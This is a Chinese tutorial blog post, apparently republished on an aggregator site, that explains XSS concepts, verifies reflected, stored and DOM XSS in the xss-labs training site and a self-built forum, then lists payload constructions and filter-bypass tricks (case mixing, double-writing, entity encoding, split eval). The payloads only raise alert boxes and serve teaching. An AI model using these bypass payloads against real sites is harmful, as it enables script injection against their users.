【XSS漏洞03】XSS漏洞验证、语句构造与绕过方法

这篇具有很好参考价值的文章主要介绍了【XSS漏洞03】XSS漏洞验证、语句构造与绕过方法。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

1 漏洞验证相关概念

  1. 常见概念
    POC:全称 ’ Proof of Concept ',中文 ’ 概念验证 ’ ,常指一段漏洞证明的代码。
    EXP:全称 ’ Exploit ',中文 ’ 利用 ',指利用系统漏洞进行攻击的动作。
    Payload:中文 ’ 有效载荷 ',指成功exploit之后,真正在目标系统执行的代码或指令。
    Shellcode:简单翻译 ’ shell代码 ',是Payload的一种。Shellcode也有很多种,包括正向的,反向的,甚至meterpreter。
  2. POC与EXP对比
    POC是用来证明漏洞存在的,EXP是用来利用漏洞的,两者通常不是一类,或者说,PoC通常是无害的,Exp通常是有害的,有了POC,才有EXP。
  3. Payload与Shellcode
    Payload有很多种,它可以是Shellcode,也可以直接是一段系统命令。
  4. Payload与EXP
    同一个Payload可以用于多个漏洞,但每个漏洞都有其自己的EXP,也就是说不存在通用的EXP。
  5. Payload模块
    在Metasploit Framework 6大模块中有一个Payload模块,在该模块下有Single、Stager、Stages这三种类型,Single是一个all-in-one的Payload,不依赖其他的文件,所以它的体积会比较大,Stager主要用于当目标计算机的内存有限时,可以先传输一个较小的Stager用于建立连接,Stages指利用Stager建立的连接下载后续的Payload。Stager和Stages都有多种类型,适用于不同场景。

2 XSS漏洞验证

2.1 常见POC

可以用一段简单的代码(POC)来验证与检查漏洞的存在,常见的用于验证XSS漏洞存在的POC如下:

<script>alert(/xss/)</script>
<script>confirm('xss')</script>
<script>prompt('xss')</script>

2.2 反射型XSS漏洞验证

  1. 反射型XSS漏洞常存在于参数中。本实验在XSS-labs第一关做验证,点击网站直接开战:http://test.ctf8.com/level1.php?name=test
    【XSS漏洞03】XSS漏洞验证、语句构造与绕过方法
  2. 我们将URL中的参数修改为?name=111回车,可以看到弹出以下页面,并我们的内容显示在页面上,后续我们将测试此处是否存在反射型XSS漏洞。
    【XSS漏洞03】XSS漏洞验证、语句构造与绕过方法
  3. 我们将参数修改为?name=<script>alert(/xss/)</script>,测试是否触发弹窗。回车可以看到弹出窗口,说明网站后台未对输入参数进行过滤,存在漏洞。
    【XSS漏洞03】XSS漏洞验证、语句构造与绕过方法
  4. 我们右键网页,点击查看源码,如下。由于该网页没有对输入输出内容做任何的检验与过滤,导致这种异常的内容输出到客户端浏览器,浏览器对内容做解析时,将内容按script标签进行解析,故弹窗。
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level2.php?keyword=test"; 
}
</script>
<title>欢迎来到level1</title>
</head>
<body>
<object style="border:0px" type="text/x-scriptlet" data="http://xss.tv/themes/default/templates/head.html" width=100% height=50></object>
<h1 align=center>欢迎来到level1</h1>
<h2 align=center>欢迎用户<script>alear(/xss/)</script></h2><center><img src=level1.png></center>
<h3 align=center>payload的长度:29</h3></body>
</html>

2.3 存储型XSS漏洞验证

  1. 存储型XSS漏洞常存在于数据库内容中,如留言板等。此处利用之前搭建的论坛网站的留言功能作为实验平台,该平台的搭建过程参考《搭建一个简单丑陋的论坛网站》。

  2. 我们登录访问该网站,使用我们之前住过的账号a,密码也是a。登录后返回首页,点击“我要留言”。
    【XSS漏洞03】XSS漏洞验证、语句构造与绕过方法

  3. 使用留言功能,留下如下的内容:<script>alert(/xss/)</script>。点击提交
    【XSS漏洞03】XSS漏洞验证、语句构造与绕过方法

  4. 再次返回首页,可以看到刚刚留下的留言。
    【XSS漏洞03】XSS漏洞验证、语句构造与绕过方法

  5. 点击该留言,出现弹窗,这就是存储型XSS漏洞。
    【XSS漏洞03】XSS漏洞验证、语句构造与绕过方法

  6. 右键该页面,查看网页源码,如下.我们看到因为我们搭建的平台没有对输入输出内容做任何的检验与过滤,导致这种异常的内容输出到客户端浏览器,浏览器对内容做解析时,将内容按script标签进行解析,故弹窗。文章来源地址https://www.toymoban.com/news/detail-453488.html

<html>
<head>
<meta charset = "utf-8">
<title>留言论坛</title>
</head>
<body>
<h1>留言内容</h1><a href = '../index.php'>返回首页</a><hr />
作者:a<br>标题:存储型XSS<hr /><script>alert(/xss/)</script></body>
</html>

2.4 DOM型XSS漏洞验证

  1. 暂时没有找到什么平台适合测试,就找到了一段代码,我们将其存在phpstudy网站的根目录下的dom.php文件中,稍后进行测试。该代码中的script标签内的内容意思是,定义一个变量a并赋值为URL,为a解码,将message=后面的内容写入到DOM树中。
<html>
<head>
	<title>DOM-XSS</title>
	<meta>charset="utf-8">
</heaf>
<body>
<script>
	var a = document.URL;
	a = unescape(a);
	document.write(a.substring(a.indexOf("message=")+8,a.length));
</script>
</bofy>
</html>
  1. 我们通过浏览器访问该网页,因为我们还没有给URL传递参数message,此处将内容以存文本的形式输出。
    【XSS漏洞03】XSS漏洞验证、语句构造与绕过方法
  2. 修改参数为?message=<script>alert(/xss/)</script>,回车时则出现弹窗。
    【XSS漏洞03】XSS漏洞验证、语句构造与绕过方法
  3. 我们右键查看源代码,发现代码与刚刚编写的一致,并没有弹窗的内容。
    【XSS漏洞03】XSS漏洞验证、语句构造与绕过方法
  4. 审查网页元素,则可以看到DOM树这里多出了个弹窗内容,就是上述document语句修改生成的。(有的浏览器查看结果有区别,可以试试不同浏览器的解析结果)
    【XSS漏洞03】XSS漏洞验证、语句构造与绕过方法

3 XSS语句构造与绕过

3.1 XSS语句构造方式

  1. 第一种:可以利用[<>]构造HTML/JS语句,如<script>标签等。如:
<script>alert(/xss/)</script>
<script>confirm('xss')</script>
<script>prompt('xss')</script>
  1. 第二种:可以利用javascript:伪协议的方式构造XSS。
<a href="javascript:alert(/xss/)">touch me</a> 	//利用a标签的javascript:伪协议
<img src="javascript:alert(/xss/)" > 		//利用img标签的javascript:伪协议,但是这种方式在IE6下测试成功,在IE8失败
  1. 第三种:事件驱动:事件驱动是一种比较经典的编程思想。在网页内会发生很多事件(比如鼠标移动,键盘输入等),JS可以对此类事件进行响应,因此我们可以通过事件触发JS函数,触发XSS。事件种类主要有以下几种。
    1. Windows事件:对Windows对象触发的事件;
    2. Form事件:HTML表单内的动作触发事件;
    3. keyboard事件:键盘按键;
    4. Mouse事件:有鼠标或类似用户动作触发的事件;
    5. Media事件:由多媒体触发的事件。
<img src='./smile.jpg' onmouseover='alert(/xss/)'>	//该标签会引入一张图片,然后鼠标悬停在图片上的时候,会触发XSS代码。
<img src='./smile.jpg' onerror='alert(/xss/)'>		//onerror会在文档载入失败时触发XSS,比如下一个语句
<img src='#' onerror='alert(/xss/)'>				//与上一个语句相比,将文件路径改成#,一定载入失败,触发XSS
<input type="text" onkeydown="alert(/xss/)">		//单行文本框的键盘点击事件,当点击键盘任一按键时触发XSS。
<input type="text" onkeyup="alert(/xss/)">
<input type="button" onclick="alert(/xss/)">
  1. 第四种:是利用CSS(层叠样式脚本)触发XSS的,该方法比较古老,现已基本不适用于主流浏览器,以下代码均在IE6下进行测试。
// 行内样式
<div style = "backgroud-image:url(javascript:alert(/xss/))">
//页内样式
<style>Body{backgroud-image:url(javascript:alert(/xss/))}</style>
//外部样式
<link rel="stylesheet" type="text/css" href="./xss.css"><div>hello<div>
//其中xss.css文本内容如下
h1 {color:red;}
div{
	/*width:expression(alert(/xss/))*/
	backgroud-image:url(javascript:alert(/xss/))
}
@ expression
<div style="width:expression(alert(/xss/))">
<style>Body{backgroud-image:expression(alert(/xss/));}</style>
@import
<style>@import 'javascript:alert("xss")';</style>
<style type="text/css">@import url(xss.css);</style><div>HELLO</div>
  1. 其他标签及手法,利用一些比较新的前端标签进行构造。
<svg onload="alert(/xss/)">
<input onfocus=alert(xss/) autofocus>

3.2 变形及绕过方式

  1. 目的:我们可以将构造的XSS代码进行各种变形,以绕过XSS过滤器检测。
  2. 第一种:大小写混编
    可以将payload进行大小写混编,如以下例子。例子中包含两种语言,其中html语言对大小写不敏感,也就是说无论是大小写,该语言都认为是同一个函数;但是JS语言对大小写敏感,比如alert()函数,如果改为Alert(),JS语言则认为是另一个东西。
<Img Src='#' Onerror='alert(/xss/)'>						//由<img src='#' οnerrοr='alert(/xss/)'>变形得到的
<A Href="javascript:alert(/xss/)">touch me</a>	//由<a href="javascript:alert(/xss/)">touch me</a>变形得到的
  1. 第二种:双写绕过。当发现过滤器仅进行一次过滤时并将一些关键字过滤为空,则可以使用双写绕过。
<scr<script>ipt>alert(/xss/)</scr</script>ipt>
  1. 第三种:引号的使用
    HTML语言中对引号的使用不敏感,但是有些过滤函数则对引号时锱铢必较的,因此我们可以使用不同引号来闭合XSS语句。
//以下三种均可能成功触发XSS,具体能否注入就看过滤是如何过滤的了。
<img src="#" onerror="alert(/xss/)">
<img src='#' onerror='alert(/xss/)'>
<img src=# onerror=alert(/xss/)>
  1. 第四种:使用 [/] 代替空格,如:
<img/src='#'/onerror='alert(/xss/)'>
  1. 第五种:在一些关键字内,可以插入回车符与Tab符来绕过关键字检测。
<img src	='#' onerror='alert(/xss/)'>		//有时候tab符插在关键字内会失效。
<a href="ja
vascript:alert(/xss/)">touch me</a>
  1. 第六种:
    1. 编码绕过。可以对标签属性值进行转码,来实现绕过在,转码后的要加分号。
      字符a,对应ASCII码97,十进制编码&#97,十六进制编码&#x61。
      字符e,对应ASCII码101,十进制编码&#101,十六进制编码&#x65。
    2. 另外,可以将以下字符插入到任意位置中:
      Tab ==> &#9
      换行 ==> &#10
      回车 ==> &#13
    3. 可以将以下字符插入到头部位置。
      SOH ==> &#01
      STX ==> &#01
      转码后例子如下:
<A href="j&#97;v&#x61;script:laert(/xss/)">click me!</a>					//经过简单编码
<A href="&#01;j&#97;v&#x61;s&#9;c&#10;r&#13;ipt:laert(/xss/)">click me!</a>	//经过插入字符
  1. 第七种:拆分跨站,将语句才分成多个,拼串起来后再执行。
<script>z='alert'</script>
<script>z=z+'(/xss/)'</script>
<script>eval(z)</script>		//ecal为执行函数,将后续的字符串当成语句执行。
  1. 第八种:CSS中的变形。
width: expression(alert(/xss/)//使用全角字符
width:expre/**/ssion(alert(/xss/))								//注释会被浏览器忽略
<style>@import 'javas\cri\0pt:alert(/xss/)';</style>	//插入 \ 和 \0 符号

4 总结

  1. 了解漏洞验证相关概念含义;
  2. 掌握XSS漏洞验证的方法;
  3. 掌握XSS语句构造的5种方法;
  4. 掌握XSS语句绕过的8种方法。

参考文献

  1. 《渗透中POC、EXP、Payload与Shellcode的区别》

到了这里,关于【XSS漏洞03】XSS漏洞验证、语句构造与绕过方法的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 逻辑漏洞之验证码绕过、密码找回漏洞

    一、验证码绕过 验证码: 区分用户是人还是计算机的全自动程序 验证码的作用:         1、防止恶意破解密码         2、防止论坛灌水 验证码绕过:          1、识别法(通过编写脚本实现)         2、逻辑绕过法(开发写验证码的校验的时候逻辑产生了问题) 验证

    2024年02月02日
    浏览(24)
  • 业务逻辑漏洞—验证码绕过

    验证码绕过第一关: 前端验证码绕过: 打开pikachu靶场: 输入错误的验证码时会出现弹窗(alert)此时我们猜测这可能存在着前端限制 如果验证码有前端限制(只在前端有作用),不影响后端的操作 猜测验证码是前端还是后端: 进行断网测试:如果断开网络验证码没有则就是

    2024年01月23日
    浏览(30)
  • XSS 攻击是什么?怎么验证是否有XSS攻击漏洞?

    XSS(跨站脚本,Cross-Site Scripting)攻击是一种网络攻击,攻击者利用网站漏洞将恶意脚本注入用户的浏览器,从而在用户浏览网页时执行恶意代码。这种攻击可能造成用户敏感信息泄露、钓鱼、欺诈等安全问题。 验证是否有 XSS 攻击漏洞的方法: 手动测试:通过对输入框、

    2024年02月11日
    浏览(24)
  • 黑客攻击实战案例:12种开源情报收集、缓冲区溢出漏洞挖掘、路径遍历漏洞、自定义参数Cookie参数绕过2FA、二维码的XSS、恶意文件上传清单、反射型XSS漏洞、威胁情报搜索引擎

    黑客攻击实战案例:12种开源情报收集、缓冲区溢出漏洞挖掘、路径遍历漏洞、自定义参数Cookie参数绕过2FA、二维码的XSS、恶意文件上传清单、反射型XSS漏洞、威胁情报搜索引擎。 目前漏洞挖掘的常用方法只有一种就是人工分析为主,漏洞挖掘在很大程度上是个人行为,漏洞

    2024年02月04日
    浏览(26)
  • Shiro身份验证绕过漏洞及修复方案

    近期Shiro修复了一个身份验证绕过漏洞(CVE-2022-40664),1.10.0之前的版本在请求forward或include时不进行拦截鉴权。  下方测试代码,方法1(noauth)不需要权限,方法2(needauth)配置了authc,方法1转发方法2,则可以绕过方法2的鉴权。 1、springboot项目 springboot集成ShiroFilter时,默认

    2024年02月17日
    浏览(14)
  • 【漏洞通告】 CVE-2022-40664 Apache Shiro 身份验证绕过漏洞

    目录 0x01 声明: 0x02 简介:   0x03 漏洞概述: 0x04 影响版本: 0x05 漏洞复现:(暂未公开利用方式) 0x06 临时措施 0x07 修复建议:         仅供学习参考使用,请勿用作违法用途,否则后果自负。         Apache Shiro是一个强大且易用的Java安全框架,它具有身份验证、

    2024年02月13日
    浏览(16)
  • AppWeb 身份验证绕过漏洞 (CVE-2018-8715)

    当前漏洞环境部署在vulhub,当前验证环境为vulhub靶场(所有实验均为虚拟环境) 实验环境:攻击机----kali 靶机:centos7 1、进入靶场,启动环境 2、访问AppWeb控制台:http://your-ip:8080 使用用户名、密码admin访问 访问失败 3、抓包,使用用户名、密码admin 4、只保留用户名参数,发包

    2024年02月13日
    浏览(12)
  • 短信验证码逻辑漏洞学习——各种绕过姿势技巧

    一、参数污染绕过 二、变量污染绕过 三、数据长度绕过 四、空格绕过短信

    2023年04月08日
    浏览(13)
  • 弱口令漏洞与验证码绕过——渗透day04

    目录 一、基于远程服务的弱口令攻击           (一)服务暴力破解软件         (二)实验 二、基于web的弱口令测试      (一)基于表单的暴力破解                      (二)验证码绕过(on client)        1、通过Script Blocker Ultimate插件绕过验证码        2、通过

    2024年02月05日
    浏览(20)
  • 【中危】 Apache NiFi 连接 URL 验证绕过漏洞 (CVE-2023-40037)

    Apache NiFi 是一个开源的数据流处理和自动化工具。 在受影响版本中,由于多个Processors和Controller Services在配置JDBC和JNDI JMS连接时对URL参数过滤不完全。使用startsWith方法过滤用户输入URL,导致过滤可以被绕过。攻击者可以通过构造特定格式来绕过连接URL验证,可能造成数据泄露

    2024年02月12日
    浏览(19)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包